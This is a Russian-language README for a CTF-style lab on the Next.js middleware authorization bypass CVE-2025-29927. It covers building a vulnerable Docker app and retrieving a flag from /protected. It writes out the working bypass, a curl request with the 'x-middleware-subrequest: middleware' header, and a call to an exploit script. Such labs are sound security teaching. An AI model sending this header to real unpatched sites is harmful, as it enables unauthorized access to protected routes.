
CTF-стиль proof-of-concept, демонстрирующий обход авторизации middleware Next.js (CVE-2025-29927). Включает уязвимое Docker-приложение и эксплойт-скрипт для получения флага с защищённого маршрута.
Это Capture The Flag (CTF)-стилизованное доказательство концепции для уязвимости обхода авторизации промежуточного ПО Next.js (CVE-2025-29927). Цель — обойти промежуточное ПО аутентификации и получить флаг из маршрута /protected.
/protected/git clone https://github.com/mhamzakhattak/CVE-2025-29927
cd CVE-2025-29927
cd nextjs-docker
sudo docker build -t nextjs-auth-app .
sudo docker run -p 3000:3000 nextjs-auth-app
Это запустит уязвимое приложение Next.js на http://IP:3000
Попробуйте получить доступ:
curl -i http://IP:3000/protected
Вы будете перенаправлены на /.
curl -H "x-middleware-subrequest: middleware" http://IP:3000/protected
Используйте предоставленный exploit.py для обхода промежуточного ПО и доступа к защищённому маршруту:
python3 exploit.py -url http://IP:3000
В случае успеха вы получите флаг из /protected.
Dockerfile - Собирает уязвимое приложение Next.jsexploit.py - Эксплуатирует уязвимость для обхода аутентификацииpages/ - Содержит уязвимые маршруты /protected и /loginmiddleware.js - Уязвимая логика промежуточного ПОREADME.md - Этот файлЭто PoC предназначен только для образовательных и исследовательских целей. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
Найдите флаг, эксплуатируя уязвимость и перейдя по адресу:
http://IP:3000/protected
Удачи! 🏴☠️